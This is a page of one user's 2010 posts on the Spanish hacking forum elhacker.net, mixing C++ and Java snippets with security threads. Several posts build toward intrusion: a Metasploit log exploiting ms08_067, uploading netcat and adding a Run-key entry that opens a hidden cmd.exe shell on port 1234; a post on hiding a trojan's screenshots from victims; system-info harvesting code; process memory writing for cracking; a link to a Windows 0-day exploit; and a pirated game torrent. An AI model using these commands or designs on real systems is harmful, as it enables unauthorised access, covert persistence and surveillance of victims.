elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Guía actualizada para evitar que un ransomware ataque tu empresa


  Mostrar Temas
Páginas: 1 2 3 [4] 5 6 7 8 9 10 11 12 13 14 15 16
31  Programación / Programación C/C++ / [Source]Modificacion de procesos (libreria con utilidades) en: 16 Agosto 2010, 16:47 pm
Buenas, tras conseguir la manera de obtener el PID sin necesidad de cojer la handle de la window, cree un code para poder modificar otros programas o procesos en ejecucion (que bien lo he pasado jeje), aqui primero el programa de ejemplo:

http://www.mediafire.com/?2mapqpuebn8kym1

Para encontrar el sector de memoria a modificar busquen por el numero que tienen almacenado en un momento determinado en la variable y cambien dicho sector de memoria en el codigo para injectar vuestro propio valor.

Esta basado en el tutorial de Vladek que lei hace tiempo, una variable que va acumulando valores de lo que recive sumandolos y mostrando su resultado.

Ahora nuestro programa, que en primer lugar obtiene el PID de un proceso a traves del nombre (Gracias Littlehorse), y lo modifica con WriteProcess, usando el handle obtenido con el PID:

Código
  1. #include <cstdlib>
  2. #include <iostream>
  3. #include <windows.h>
  4. #include <tlhelp32.h>
  5. #include <tchar.h>
  6. #include <stdio.h>
  7. #include "PsControl.h"
  8.  
  9. using namespace std;
  10.  
  11. int main()
  12. {
  13. HANDLE hPsLectura;
  14. DWORD pidPs;
  15. pidPs = getPsId("Proyecto1.exe");
  16. cout << pidPs << endl;
  17. hPsLectura = OpenProcess(PROCESS_ALL_ACCESS,false,pidPs);
  18. long Numero = 71827339;
  19. DWORD Bytes;
  20. /* La direcion de memoria que vamos a cambiar en el proceso con HANDLER hPsLectura es 0x0022FF44 y cambiaremos el valor Numero */
  21. WriteProcessMemory(hPsLectura,(LPVOID)0x0022FF44,&Numero,sizeof(Numero_Nuevo),&Bytes);
  22. system("pause");
  23. return 0;
  24. }

Se que me diran que el system("No es portable"); y tal pero es que pocas funciones aqui usadas lo son :)

Y ahora la libreria con el control de procesos:

Código
  1. #ifndef _PSCONTROL_H_
  2. #define _PSCONTROL_H_
  3. #include <Windows.h>
  4. #include <iostream>
  5. #include <cstdlib>
  6. #include <tlhelp32.h>
  7. #include <tchar.h>
  8. #include <stdio.h>
  9. using namespace std;
  10. int killProcess(DWORD pid)
  11. {
  12.    HANDLE proceso;
  13.    proceso=OpenProcess(PROCESS_TERMINATE,FALSE,pid);
  14.  
  15.  
  16. TerminateProcess(proceso,0);
  17.  
  18. CloseHandle(proceso);
  19. return 0;
  20.  
  21. }
  22. DWORD getPsId(const char* PsName)
  23. {
  24. DWORD ProcessID;    
  25. HANDLE Handle;
  26. PROCESSENTRY32 ProcI;
  27.  
  28. Handle=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);
  29. ProcI.dwSize=sizeof(PROCESSENTRY32);
  30.  
  31. while(Process32Next(Handle,&ProcI))
  32.     if(!strcmp(ProcI.szExeFile,PsName))
  33.        ProcessID=ProcI.th32ProcessID;
  34.  
  35.  
  36. CloseHandle(Handle);
  37.  
  38. return ProcessID;
  39. }
  40. #endif

Eso es todo, no es un programa final, pero puede que a muchos les solucione algunas dudas.

Un saludo
32  Programación / Programación C/C++ / FindWindow() funciona bien bajo win Vista? en: 16 Agosto 2010, 10:30 am
Buenas a todos, recientemente hice un pequeño codigo en C++ para dopar una aplicacion, bajo windows XP funciona perfectamente pero cuando la quiero correr en Vista nada:

Código
  1. #include <iostream>
  2. #include <windows.h>
  3.  
  4. using namespace std;
  5.  
  6. int main()
  7. {
  8. HWND hVentana;
  9.  
  10. if (!(hVentana = FindWindow(NULL,"ProgramaCrackeado")))
  11. {
  12. MessageBox(NULL,"No se pudo encontrar la ventana","Error",MB_OK);
  13. return -1;
  14. }
  15. }
  16.  
Necesito conseguir el Handle de la ventana para obtener el PID del proceso y modificar sectores concretos de su memoria.

Lo que ocurre es que parece no encontrar la ventana puesto que el nombre es correcto, porque lo hago con la calculadora de windows y ocurre exactamente lo mismo, nunca encuentra la ventana, asi que puse el parametro del nombre como null y segun MSDN deben coincidir todas las ventanas con esa "Busqueda" pero ocurrian cosas indeseadas pues injectaba en memoria de procesos que no queria injectar.


Como lo mas probable es que este deprecated o en Vista no funcione, queria preguntar si existe alguna otra manera de obtener el PID de un proceso en ejecucion.

33  Foros Generales / Foro Libre / Sub-Lolazos del foro [añadid el vuestro] en: 9 Agosto 2010, 20:05 pm
Buenas hace un rato recorde a un personaje que hizo su andada por este foro, en la secion de ASM, habla como un experto pero leyendole un poco cae a peso que no ha programado en su vida asm... es desternillante...
De ese mensaje abajo, no tiene perdida...

L33t coder en ASM

Alguno mas he visto pero no recuerdo ahora mismo.

Poned albuno que hayais encontrado vosotros! jeje

34  Seguridad Informática / Bugs y Exploits / 0-DAY windows escalada privilegios! en: 9 Agosto 2010, 10:55 am
Buenas a todos, me he encontrado con esto:

http://www.exploit-db.com/exploits/14566/

Y el reporte:

http://secunia.com/advisories/40870

Description
Arkon has discovered a vulnerability in Microsoft Windows, which can be exploited by malicious people to gain escalated privileges.

The vulnerability is caused due to a boundary error in win32k.sys within the "CreateDIBPalette()" function when copying colour values into a buffer allocated with a fixed size when creating the DIB palette. This can be exploited via the "GetClipboardData()" API to cause a buffer overflow by specifying a large number of colours (greater than 256) via the "biClrUsed" field in a BITMAPINFOHEADER structure.

Successful exploitation may allow execution of arbitrary code with kernel privileges.

The vulnerability is confirmed in fully patched versions of Windows XP SP3, Windows Server 2003 R2 Enterprise SP2, Windows Vista Business SP1, Windows 7, and Windows Server 2008 SP2.

Solution
Grant only access to trusted users.

Provided and/or discovered by
Arkon

Original Advisory
Arkon:
http://www.ragestorm.net/blogs/?p=255
Technical Analysis
Further details available in Customer Area

Deep Links
Links available in Customer Area

He intentado hacerlo funcionar, pero no hay manera de compilarlo, y supongo que es c :S

Saludos
35  Media / Juegos y Consolas / [Torrent]Starcraft II: Wings of Liberty en: 6 Agosto 2010, 19:00 pm
En respuesta al problema que hubo con el starcraft por Descarga Directa en este foro...
Os traigo un torrent, como mero aporte, quee sta muy completo, con sus dos ISOs.

http://www.torrentreactor.to/torrents/view_2403102/Starcraft_2_Wings_of_Liberty_PC_DVD_Spanish_www_consolasatope_com.html

Saludos
36  Programación / Java / [SOURCE]Capturando imagen y enviandola por sockets para reconstruirla en: 6 Agosto 2010, 13:04 pm
Buenas a todos, programando un regalito para el foro y la comunidad, ha nacido un source bastante interesante!

Queria realizar capturas en un equipo remoto, y convertirlas a un arreglo de bytes para luego enviarlas (si queremos fragmentado :D) para luego reconstruirlo en el pc remoto:

Realizando la captura:

Código
  1. public static File getScreenShot()
  2. {
  3. String fileName="/root/captura01.png";
  4. Dimension screenSize = java.awt.Toolkit.getDefaultToolkit().getScreenSize();
  5. Rectangle screenRectangle = new Rectangle(screenSize);
  6. Robot robot = null;
  7. try {
  8. robot = new Robot();
  9. } catch (AWTException e2) {
  10. // TODO Auto-generated catch block
  11. e2.printStackTrace();
  12. }
  13. BufferedImage image = robot.createScreenCapture(screenRectangle);
  14. try {
  15. ImageIO.write(image, "png", new File(fileName));
  16. } catch (IOException e1) {
  17. // TODO Auto-generated catch block
  18. e1.printStackTrace();
  19. }
  20.  
  21. //----
  22.  
  23. try
  24. {
  25.  
  26.  
  27.  
  28. robot.createScreenCapture(screenRectangle);
  29.  
  30. }
  31. catch(Exception e)
  32. {
  33. e.printStackTrace();
  34. }
  35. File imageFile = new File(fileName);
  36.  
  37. return imageFile;
  38.  
  39. }

Obteniendola y escribiendo a un arreglo de bytes:

Código
  1. File captura = null;
  2. captura = funciones.getScreenShot();
  3.  
  4. try {
  5. InputStream is = new FileInputStream(captura);
  6. long length = captura.length();
  7. if (length > Integer.MAX_VALUE) {
  8.        System.out.println("El archivo es demasiado grande!");
  9.    }
  10.  
  11.    // Create the byte array to hold the data
  12.    byte[] bytes = new byte[(int)length];
  13.  
  14.    // Read in the bytes
  15.    int offset = 0;
  16.    int numRead = 0;
  17.    while (offset < bytes.length
  18.           && (numRead=is.read(bytes, offset, bytes.length-offset)) >= 0) {
  19.        offset += numRead;
  20.    }
  21.  
  22.    // Ensure all the bytes have been read in
  23.    if (offset < bytes.length) {
  24.        throw new IOException("No se puede leer completamente el archivo "+captura.getName());
  25.    }
  26.  
  27.    // Close the input stream and return bytes
  28.    is.close();

Y ahora tratandola, por ejemplo enviarla:
Código
  1. Socket cliente = new Socket("localhost",666);
  2. DataOutputStream os = new OutputStream(cliente.getOutputStream());
  3. for(int i = 0; i < bytes.length; i++)
  4. {
  5. os.write(bytes[i]);
  6. S}
  7.  
Y los vamos reciviendo recursivamente (muy parecido a lo anterior)

Y ahora lo escribimos a un fichero:
Código
  1.                  File imagenFinal = new File("/root/imagencopiada.jpg");
  2.      FileOutputStream fileNuevo = new FileOutputStream(imagenFinal);
  3.      fileNuevo.write(bytes);
  4.  

Y habremos transferido nuestra imagen!


Saludos
37  Seguridad Informática / Análisis y Diseño de Malware / Carpetas temporales para el diseño de mi troyano en: 6 Agosto 2010, 12:22 pm
Buenas a todos, estoy programando un troyano, ya le queda poco, solamente resta escritorio remoto y capturas de pantalla, la cosa esta en que, cuando hago una captura para convertirla en un array de bytes y transferirla por sockets a mi pc, no tengo donde guardarla y hacerlo en el escritorio de la victima o el sitio donde se haya ejecutado es cutre, y lo detectaria rapido, asi que me gustaria saber carpetas temporales a las cuales tengan aceso tanto administrador como ussers normales (por si se ejecuta bajo privilegios de usuario), tanto para Linux como para Windows, es posible tener aceso a carpetas de estas caracteristicas?

Saludos
38  Programación / Java / [SOURCE]Capturando informacion del sistema y compactandola [Solucionado] en: 5 Agosto 2010, 23:41 pm
Buenas a todos, hoy me puse a codear un pequeño codigo para capturar informacion de un sistema y compactarla para transferirla facilmente, el codigo es el siguiente:


Código
  1. [package main;
  2. import java.util.Stack;
  3. import java.util.Vector;
  4. import jpcap.JpcapCaptor;
  5. import jpcap.NetworkInterface;
  6. import interacion.WebCam;
  7. public class RecopilacionDatos {
  8. public static Vector devices;
  9. public static NetworkInterface[] netInterfaces;
  10. private static String info[];
  11. public static Vector<String> dataSistema = new Stack();
  12. public static Vector getInformacionSistema()
  13. {
  14. dataSistema.add(System.getenv("COMPUTERNAME"));
  15. dataSistema.add(System.getProperty("user.name"));
  16. dataSistema.add(System.getenv("PROCESSOR_IDENTIFIER"));
  17. dataSistema.add(System.getProperty("os.name"));
  18. dataSistema.add(System.getProperty("user.dir"));
  19. dataSistema.add("1");
  20.    devices = WebCam.getDispositivos();
  21.    if(devices.size() == 0)
  22.    {
  23.     dataSistema.add("false");
  24.    }else{
  25.  
  26.    for(int i=0;i<devices.size();i++)
  27.    {
  28.     dataSistema.add("  |- "+devices.elementAt(i));
  29.    }
  30.  
  31.    }
  32.    dataSistema.add("2");
  33.  
  34.    netInterfaces = JpcapCaptor.getDeviceList();
  35.    if(netInterfaces.length == 0)
  36.    {
  37.     dataSistema.add("false");
  38.    }else{
  39.  
  40.    for (int i = 0; i < netInterfaces.length; i++)
  41.    {
  42.  
  43.     if(i == (netInterfaces.length -1))
  44.     {
  45.     dataSistema.add("  |_ "+netInterfaces[i].name + "\n");
  46.     }else{
  47.     dataSistema.add("  |- "+netInterfaces[i].name);
  48.     }
  49.  
  50.    }
  51.    }
  52. return dataSistema;
  53. }
  54. }/code]
  55.  
  56.  
  57. Y me bota una nullpointerexception cuando añado la primera cadena al vector:
  58. [code=java]dataSistema.add(System.getenv("COMPUTERNAME"));

Lo que hago luego con el vector que me devuelve esta funcion es recorrerlo y mostrarlo ordenador por pantalla (de entrada ya puedo enviarlo por un stream de algun socket por ejemplo :D)

Espero que puedan ver lo que ocurre, es tarde y ya no atino.

Gracias :D

SOLUCIONADO: MI cabezota se olvidó de inicializar el objeto xDDD

Saludos[/code]
39  Foros Generales / Foro Libre / Imagen: La sensación de la mañana... en: 2 Agosto 2010, 10:34 am
NO hacen falta explicaciones:



Que opinais?


Saludos
40  Seguridad Informática / Hacking / Duda sobre re-crear aceso a mi Backdoor en: 31 Julio 2010, 11:17 am
Hola a todos, recientemente practicando PenTest con un equipo remoto (es mio si...) consegui explotarle una vulnerabilidad y bindearme a una reverse tcp meterpreter, una vez en su equipo, me dispuse a asegurarme el aceso, lo hice de la siguiente manera (basandome en lo que Kamsky explicó):

 
Código:
               ##                          ###           ##    ##
 ##  ##  #### ###### ####  #####   #####    ##    ####        ######
####### ##  ##  ##  ##         ## ##  ##    ##   ##  ##   ###   ##
####### ######  ##  #####   ####  ##  ##    ##   ##  ##   ##    ##
## # ##     ##  ##  ##  ## ##      #####    ##   ##  ##   ##    ##
##   ##  #### ###   #####   #####     ##   ####   ####   #### ###
                                      ##


       =[ metasploit v3.3.2-release [core:3.3 api:1.0]
+ -- --=[ 462 exploits - 219 auxiliary
+ -- --=[ 192 payloads - 22 encoders - 8 nops
       =[ svn r7808 updated 7 days ago (2009.12.10)

msf > use exploit/windows/smb/ms08_067_netapi
msf exploit(ms08_067_netapi) > set RHOST xx.xx.xx.xx
RHOST => xx.xx.xx.xx
msf exploit(ms08_067_netapi) > set PAYLOAD windows/meterpreter/bind_tcp
PAYLOAD => windows/meterpreter/bind_tcp
msf exploit(ms08_067_netapi) > show options

Module options:

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   RHOST    192.168.0.3      yes       The target address
   RPORT    445              yes       Set the SMB service port
   SMBPIPE  BROWSER          yes       The pipe name to use (BROWSER, SRVSVC)


Payload options (windows/meterpreter/bind_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  thread           yes       Exit technique: seh, thread, process
   LPORT     4444             yes       The local port
   RHOST     xx.xx.xx.xx      no        The target address


Exploit target:

   Id  Name
   --  ----
   0   Automatic Targeting

msf exploit(ms08_067_netapi) > exploit[*] Started bind handler[*] Automatically detecting the target...[*] Fingerprint: Windows XP Service Pack 2 - lang:Spanish[*] Selected Target: Windows XP SP2 Spanish (NX)[*] Triggering the vulnerability...[*] Sending stage (723456 bytes)[*] Meterpreter session 1 opened (xx.xx.xx.xx:1934 -> xx.xx.xx.xx:4444)

meterpreter >

Una vez dentro me dispuse a subir el netcat.exe y ponerlo con la shell en un puerto y escribirlo en el registro:

Código:
meterpreter > upload /root/tools/nc.exe C:\\Windows\\System32\\
[*] uploading  : /root/tools/nc.exe -> C:\Windows\System32\
[*] uploaded   :  /root/tools/nc.exe-> C:\Windows\System32\\nc.exe
meterpreter >

Una vez subido y que se puede ejecutar en la consola sin ruta especifica:

Código:
meterpreter > reg setval -k HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Run -v WindowsCore -d 'C:\Windows\System32\nc.exe -L -d -p 1234 -e cmd.exe'
Successful set Hacked.
meterpreter >

Lo pondrá a la espera en el puerto 1234, pero si ese puerto no esta mapeado en el router como diablos voy a conectarme a la backdoor?Puedo de alguna manera abrir puertos en su router? Estuve pensando en subirle un servidor VNC pero es muy cutre, y se daria cuenta de que estan trasteando(en el caso de que fuese una situación real...).

A expensas de que muchos van a decir que como es tu router abrelos tu, les diré que en una situación real no se puede hacer eso, y quiero hacerlo todo como si una real se tratase!

Saludos y gracias a todos!
Páginas: 1 2 3 [4] 5 6 7 8 9 10 11 12 13 14 15 16
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines